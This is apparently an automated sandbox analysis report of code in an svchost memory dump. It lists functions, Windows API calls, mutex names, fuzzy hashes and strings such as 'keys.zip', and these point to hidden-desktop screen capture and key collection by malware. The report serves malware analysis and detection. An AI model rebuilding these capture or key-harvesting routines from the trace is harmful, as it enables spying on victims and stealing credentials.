DnsQuery_W, xrefs: 02C759A5

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$AdminCacheFlushLibraryLoadResolverUser
String ID: DnsQuery_A$DnsQuery_UTF8$DnsQuery_W$Dnsapi.dll$Query_Main
API String ID: 2466897691-3547598143
Opcode ID: a2de0311593b83e19bab61a1b851fb9f8a9320d1bfd5ea6f19e30cd09f312231
Instruction ID: 8eefb0f407ac36fa6f6afb46c2e1072f14246f73863aaabdf619568f93586068
Opcode Fuzzy Hash: a2de0311593b83e19bab61a1b851fb9f8a9320d1bfd5ea6f19e30cd09f312231
Instruction Fuzzy Hash: 74018671BC435676B91231751C0AF4B972E4EC0ED5F9206B4FC12F2444DB96E20388B8

Function 02C7B9D0 Relevance: 19.6, APIs: 13, Instructions: 116windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 02C7B9ED
IsWindowVisible.USER32(00000000), ref: 02C7B9FC

Part of subcall function 02C7CC80: GetClassNameA.USER32(?,?,00000101), ref: 02C7CC96

GetWindowRect.USER32(00000000,?), ref: 02C7BA39
GetClassLongA.USER32(00000000,000000E6), ref: 02C7BA42
PrintWindow.USER32(00000000,?,00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7BA55
RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,762330D0,?,?,?,02C7843E), ref: 02C7BA7B
CreateRectRgn.GDI32(?,?,02C7843E,?), ref: 02C7BA91
GetWindowRgn.USER32(00000000,00000000), ref: 02C7BA9B
OffsetRgn.GDI32(00000000,?,?), ref: 02C7BAB5
SelectClipRgn.GDI32(?,00000000), ref: 02C7BAC0
BitBlt.GDI32(?,?,?,02C7843E,?,?,00000000,00000000,00CC0020), ref: 02C7BAE9
SelectClipRgn.GDI32(?,00000000), ref: 02C7BAF2
DeleteObject.GDI32(00000000), ref: 02C7BAF5

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$ClassClipRectSelect$CreateDeleteLongNameObjectOffsetPrintRedrawVisible
String ID:
API String ID: 3597830993-0
Opcode ID: 67a26ccbdca2ca42c6637e339f99ddf5f65e0949e96558e05bc8d35b703e6993
Instruction ID: e0fbb222fdb7a689cd4738f8298ab91a3c5c0875cd4c5c97c898b7d6531adc1c
Opcode Fuzzy Hash: 67a26ccbdca2ca42c6637e339f99ddf5f65e0949e96558e05bc8d35b703e6993
Instruction Fuzzy Hash: E4315E71E80114AFD715EBA5DC89FBF7BB8EF89B14F104648FA01A3180DB74AD118A70

Function 02C7CAA0 Relevance: 19.6, APIs: 13, Instructions: 113filesynchronizationmemoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02C7CAA8
HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAB9

Part of subcall function 02C7C9F0: GetComputerNameA.KERNEL32(02CBD6A8,?), ref: 02C7CA07
Part of subcall function 02C7C9F0: lstrlenA.KERNEL32(02CBD6A8,?,?,02C861D1), ref: 02C7CA12
Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA52
Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA62
Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA72
Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA7F
Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA8C

CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02CBD6C0), ref: 02C7CAE3
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAFC

Part of subcall function 02C780B0: SetThreadDesktop.USER32(?,7622F590,762216B0,00000000), ref: 02C780BF
Part of subcall function 02C780B0: GetDC.USER32(00000000), ref: 02C780C7
Part of subcall function 02C780B0: GetDeviceCaps.GDI32(00000000,0000000A), ref: 02C780D8
Part of subcall function 02C780B0: GetDeviceCaps.GDI32(00000000,00000008), ref: 02C780E9
Part of subcall function 02C780B0: CreateCompatibleBitmap.GDI32(00000000,00000000,?), ref: 02C78100
Part of subcall function 02C780B0: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 02C78142
Part of subcall function 02C780B0: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 02C78152
Part of subcall function 02C780B0: DeleteObject.GDI32(00000000), ref: 02C78155
Part of subcall function 02C780B0: ReleaseDC.USER32(00000000,00000000), ref: 02C7815E
Part of subcall function 02C780B0: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C781B9

CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C7CB29
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB3C
CreateMutexA.KERNEL32(00000000,00000000,02CBD790,?,?,02C77262,00000000,00000000), ref: 02C7CB5A
CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB6B
CreateMutexA.KERNEL32(00000000,00000000,02CBD750,?,?,02C77262,00000000,00000000), ref: 02C7CB7F
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB98
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBAB
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBBE
CreateEventA.KERNEL32(00000000,00000000,00000000,02CBD6FC,?,?,02C77262,00000000,00000000), ref: 02C7CBD4

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Create$wsprintf$EventFile$Mutex$BitsCapsDeviceHeapMappingView$BitmapCompatibleComputerCountDeleteDesktopFreeNameObjectReleaseThreadTicklstrlen
String ID:
API String ID: 2940656088-0
Opcode ID: a3c7da03c06e7baacfa3e58cff91971bdf7a1da4547cc210a681c6769fa2a69e
Instruction ID: 7143cfbcd07b478516294d572ce1f76d00f89f23f1645128c4751ac3e455c077
Opcode Fuzzy Hash: a3c7da03c06e7baacfa3e58cff91971bdf7a1da4547cc210a681c6769fa2a69e
Instruction Fuzzy Hash: 37315870FC47067AFA625B799C43F552A98AB84F11F240A67B705FE1C1DAE0E2108A69

Function 02C8F870 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFF41,?,7693BF00), ref: 02C8F8A0
CreateDirectoryA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8F8E1
GetLastError.KERNEL32(?,7693BF00), ref: 02C8F8EB
IsUserAnAdmin.SHELL32 ref: 02C8F8F3
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F904
SetLastError.KERNEL32(00000000,?,7693BF00), ref: 02C8F90B
SetCurrentDirectoryA.KERNEL32(?,?,7693BF00), ref: 02C8F918
PathAddBackslashA.SHLWAPI(7F1BFF41,?,?,?,7693BF00), ref: 02C8F987

Strings

path1.txt, xrefs: 02C8F9C8
7F1BFF41, xrefs: 02C8F89B, 02C8F8A2, 02C8F982, 02C8F989
keys.zip, xrefs: 02C8F938

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashDirectoryErrorLast$AdminCreateCurrentFolderMakeSystemUser
String ID: 7F1BFF41$keys.zip$path1.txt
API String ID: 1373881290-2169523781
Opcode ID: bbaf34f06708c7ce2f5536714c3757120cb9e9ddce496b7b0d81e9858fbe9e24
Instruction ID: 29d7d588c098d824c285a5ef575a4294df5b1a72b2e407bb19de8d166829a7dc
Opcode Fuzzy Hash: bbaf34f06708c7ce2f5536714c3757120cb9e9ddce496b7b0d81e9858fbe9e24
Instruction Fuzzy Hash: 3E415B315002455FCB16DF2498A87E7BBE9EF85304F54C5E8D9C9C7600EB70DA49C790

Function 02C92180 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BF93B), ref: 02C921B0
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C921F1
GetLastError.KERNEL32 ref: 02C921FB
IsUserAnAdmin.SHELL32 ref: 02C92203
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92214
SetLastError.KERNEL32(00000000), ref: 02C9221B
SetCurrentDirectoryA.KERNEL32(?), ref: 02C92228
PathAddBackslashA.SHLWAPI(7F1BF93B,?,02C923DC), ref: 02C92297

Strings

7F1BF93B, xrefs: 02C921AB, 02C921B2, 02C92292, 02C92299
path1.txt, xrefs: 02C922D8
keys.zip, xrefs: 02C9225D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashDirectoryErrorLast$AdminCreateCurrentFolderMakeSystemUser
String ID: 7F1BF93B$keys.zip$path1.txt
API String ID: 1373881290-3210755562
Opcode ID: 6f836b25f17f0ad99ec8f96c18d87b5cd4d00b462bd525bbeac384eb34f090cc
Instruction ID: af73b95f3afc7f7d0884e6785d3ddf53a614609f7025e591714c5bd7d1cea629
Opcode Fuzzy Hash: 6f836b25f17f0ad99ec8f96c18d87b5cd4d00b462bd525bbeac384eb34f090cc
Instruction Fuzzy Hash: 7D4114719046455FCF168B24AC9CBEABBE9EF85300F148694EDC9C7201EB71CA58CB91

Function 02C7A8A0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81synchronizationwindowthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A8C3
ReleaseMutex.KERNEL32(00000000), ref: 02C7A8F0
IsWindow.USER32(?), ref: 02C7A8F7
SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7A909
GetCurrentThreadId.KERNEL32 ref: 02C7A918
GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7A922
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A934
ReleaseMutex.KERNEL32(00000000), ref: 02C7A961
IsWindow.USER32(?), ref: 02C7A968
SendMessageA.USER32(?,00000215,00000000,?), ref: 02C7A97B

Strings

P0#v, xrefs: 02C7A8F0, 02C7A961

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$MessageMutexObjectReleaseSendSingleThreadWait$CurrentProcess
String ID: P0#v
API String ID: 2596333622-3387790918
Opcode ID: 6732ab873021143345105f0ae7f6a40ba091e59bea1e656974525272d65fe9d3
Instruction ID: 11d871deff8ae8ac6c3bb86cc3c047be6394bae5bf7a145b80572d6ccf4b0d3c
Opcode Fuzzy Hash: 6732ab873021143345105f0ae7f6a40ba091e59bea1e656974525272d65fe9d3
Instruction Fuzzy Hash: 4621E231A80210AFC7028B65E84CFABBBA8FFD8721F054BB6F118C7251CB705561CBA0

Function 02C73690 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 59libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02C736A1
GetModuleHandleA.KERNEL32(ntdll.dll,?,7736C3F0,02C8599A), ref: 02C736B4
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02C736C0
GetTickCount.KERNEL32 ref: 02C736ED
GetModuleHandleA.KERNEL32(ntdll.dll,?,7736C3F0,02C8599A), ref: 02C736FA
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02C73706
_snprintf.MSVCRT ref: 02C73739

Strings

ntdll.dll, xrefs: 02C736AF, 02C736F5
%x%x, xrefs: 02C7372A
RtlUniform, xrefs: 02C736BA, 02C73700
6b8e26743fcf62a2, xrefs: 02C73734

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressCountHandleModuleProcTick$_snprintf
String ID: %x%x$6b8e26743fcf62a2$RtlUniform$ntdll.dll
API String ID: 3150073801-94268103
Opcode ID: 16fb7404595c9f76e062ddb822cafc78445c59f754da67f144b58160114fee1f
Instruction ID: d3b5ad9f9c5bacf3d36841ec1f4113d1771ff468889bfe1a1784290c724589eb
Opcode Fuzzy Hash: 16fb7404595c9f76e062ddb822cafc78445c59f754da67f144b58160114fee1f
Instruction Fuzzy Hash: E101A971FC02516FBB0E97B4DC436A2775DAF80B51B040BB6E412E3180DBA08A108561

Function 02C8A300 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02C8A32C
ReleaseMutex.KERNEL32(00000000), ref: 02C8A335
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A349
CloseHandle.KERNEL32(00000000), ref: 02C8A35B
PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C8A366
Sleep.KERNEL32(00009C40,7f1bfc59,ALPHA), ref: 02C8A380
Sleep.KERNEL32(00000064), ref: 02C8A386

Strings

ALPHA, xrefs: 02C8A36C
7f1bfc59, xrefs: 02C8A361, 02C8A371
P0#v, xrefs: 02C8A335
Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}, xrefs: 02C8A320

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7f1bfc59$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v
API String ID: 4280258085-526467187
Opcode ID: b7366ee15de5e52d10bbe22890b26ca007bb41a7adafb8bb7eae61edd79a0730
Instruction ID: 66065183afabc5e205905a98ee6f42eaf75174fc29e32019c41c5dc9de667fcd
Opcode Fuzzy Hash: b7366ee15de5e52d10bbe22890b26ca007bb41a7adafb8bb7eae61edd79a0730
Instruction Fuzzy Hash: 47F0C8319C478076E30377619C0EF5A779CBF49B19F048619F55AA3181DBB4E9048B7B

Function 02C918D0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C918FC
ReleaseMutex.KERNEL32(00000000), ref: 02C91905
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91919
CloseHandle.KERNEL32(00000000), ref: 02C9192B
PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C91936
Sleep.KERNEL32(00009C40,7F1BF8F3,RFK), ref: 02C91950
Sleep.KERNEL32(00000064), ref: 02C91956

Strings

P0#v, xrefs: 02C91905
RFK, xrefs: 02C9193C
Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C918F0
7F1BF8F3, xrefs: 02C91931, 02C91941

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7F1BF8F3$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RFK
API String ID: 4280258085-2405295479
Opcode ID: a23aa93f4d7bada0c20ea979d53e9f93f80ba3023bd624e9a939258abbeb8e4e
Instruction ID: 141189960a55e461df8e06af9ff8a9f56ae7c7247c1961c10fdf04627f25ceb8
Opcode Fuzzy Hash: a23aa93f4d7bada0c20ea979d53e9f93f80ba3023bd624e9a939258abbeb8e4e
Instruction Fuzzy Hash: 1EF0F9309C47827AE60257614C1FF1A37DD6F44B59F094664F51663180DBF0951086AA

Function 02C8E890 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E8BC
ReleaseMutex.KERNEL32(00000000), ref: 02C8E8C5
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E8D9
CloseHandle.KERNEL32(00000000), ref: 02C8E8EB
PathAddBackslashA.SHLWAPI(7f1bfde3), ref: 02C8E8F6
Sleep.KERNEL32(00009C40,7f1bfde3,HANDY), ref: 02C8E910
Sleep.KERNEL32(00000064), ref: 02C8E916

Strings

P0#v, xrefs: 02C8E8C5
HANDY, xrefs: 02C8E8FC
Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C8E8B0
7f1bfde3, xrefs: 02C8E8F1, 02C8E901

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7f1bfde3$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v
API String ID: 4280258085-2479272528
Opcode ID: d68edfbe04656b478ca3f4c804e4aff0d14c7443ecfad1836c232fbea7746028
Instruction ID: 6cb507c3f8e8aa611efe161f5ac436fe0354e7091d39b52a75f674d21e25321d
Opcode Fuzzy Hash: d68edfbe04656b478ca3f4c804e4aff0d14c7443ecfad1836c232fbea7746028
Instruction Fuzzy Hash: 8FF0D1309C4741BAF21277658C0AF1E369C6F85B18F048664F905A2082DBB4A5108AAB

Function 02C98650 Relevance: 18.9, APIs: 15, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02C9865F
free.MSVCRT ref: 02C986B6
free.MSVCRT ref: 02C986C5
free.MSVCRT ref: 02C986D5
free.MSVCRT ref: 02C98701
free.MSVCRT ref: 02C9871B
free.MSVCRT ref: 02C98734
free.MSVCRT ref: 02C9874E
free.MSVCRT ref: 02C98768
free.MSVCRT ref: 02C98781
free.MSVCRT ref: 02C9879B
free.MSVCRT ref: 02C987BB
free.MSVCRT ref: 02C987D1
free.MSVCRT ref: 02C987D4
free.MSVCRT ref: 02C987DF

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free$malloc
String ID:
API String ID: 2190258309-0
Opcode ID: 422a36f3baae03661693c8b695f4c9df394121d8d0b81a46caef40a9686741ae
Instruction ID: 9528debf362d37c94820540aefb2e805a20e2595b75b4842f0bb886785884c53
Opcode Fuzzy Hash: 422a36f3baae03661693c8b695f4c9df394121d8d0b81a46caef40a9686741ae
Instruction Fuzzy Hash: A641A8B1D40254CBCB21DF94EC45B5AB3A4BB85B08F250B79E4454B704D731AE51CFD2

Function 02C80A70 Relevance: 17.9, APIs: 14, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b8308effba2e0fad6e10e14667dd85b0e6b556642bc1ce5fb5bbcfcda7619dd
Instruction ID: e9425d0ca37bfb561863d8c25653af8c558fe77ebd5fc73c7aa99de3bacac200
Opcode Fuzzy Hash: 4b8308effba2e0fad6e10e14667dd85b0e6b556642bc1ce5fb5bbcfcda7619dd
Instruction Fuzzy Hash: 42C1D631A006169FCB15DF68C8A4BBE7BB5EF85318F14C294ED569B340E731AA0DCB90

Function 02C7B390 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

WindowFromDC.USER32(?), ref: 02C7B39C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7B3D4
CreateRectRgn.GDI32(00000001,00000001,00000001,00000001), ref: 02C7B3E2
GetClipRgn.GDI32(?,00000000), ref: 02C7B3EC
SelectClipRgn.GDI32(00000000,00000000), ref: 02C7B3FC
DeleteObject.GDI32(00000000), ref: 02C7B403
GetViewportOrgEx.GDI32(?,?), ref: 02C7B40E
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 02C7B422
ReleaseMutex.KERNEL32(00000000), ref: 02C7B463

Strings

P0#v, xrefs: 02C7B463

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ClipObjectViewport$CreateDeleteFromMutexRectReleaseSelectSingleWaitWindow
String ID: P0#v
API String ID: 3315380975-3387790918
Opcode ID: cb569ef6b664245f7c3fa50cf9dcfabde7d68aeb19ca8df509e47a00b2190c6b
Instruction ID: fa693be15dccf9b0968d71d7f8b39fe227df8554a4e78187f550de969f190dc2
Opcode Fuzzy Hash: cb569ef6b664245f7c3fa50cf9dcfabde7d68aeb19ca8df509e47a00b2190c6b
Instruction Fuzzy Hash: 5941E7B6640245ABCB14CF99DC84EAB77BDEF8C715F108A59FA19D3240D630EC51CBA0

Function 02C928B8 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 118synchronizationsleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bf8b2), ref: 02C928D7
PathAddBackslashA.SHLWAPI(7f1bf8b2,?,?), ref: 02C92969
CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214},?,?), ref: 02C929F5
Sleep.KERNEL32(000003E8), ref: 02C92A06
ReleaseMutex.KERNEL32(00000000), ref: 02C92A0D

Part of subcall function 02C93E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C93E14
Part of subcall function 02C93E00: CloseHandle.KERNEL32(?), ref: 02C93E25

Strings

path.txt, xrefs: 02C929AD
7f1bf8b2, xrefs: 02C928D2, 02C928DD, 02C92964, 02C9296F
P0#v, xrefs: 02C92A0D
Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}, xrefs: 02C929EC
keys.zip, xrefs: 02C9291B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: BackslashHandleMutexPath$CloseCreateInformationReleaseSleep
String ID: 7f1bf8b2$Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$P0#v$keys.zip$path.txt
API String ID: 3621236684-2687716975
Opcode ID: d5380504f41b169b9c446815faef5c12e73c5d2c4660a589b03eeaab5e5fcfa9
Instruction ID: 68b0bd38cb0a6921277f2db676b60a575a159409839778f83137e24ce36cf823
Opcode Fuzzy Hash: d5380504f41b169b9c446815faef5c12e73c5d2c4660a589b03eeaab5e5fcfa9
Instruction Fuzzy Hash: 1A41E8319445DA5FDB17CB28982C7E6BBE5AF89300F1886D9DCC9DB201DB718A48C791

Function 02C93840 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 68memorylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E

RtlImageNtHeader.NTDLL(00000000), ref: 02C9386E
GetTickCount.KERNEL32 ref: 02C93882
GetModuleHandleA.KERNEL32(ntdll.dll,?,?,02C84480), ref: 02C93893
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02C938A3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84480), ref: 02C938E0
HeapValidate.KERNEL32(00000000,?,?,02C84480), ref: 02C938E3
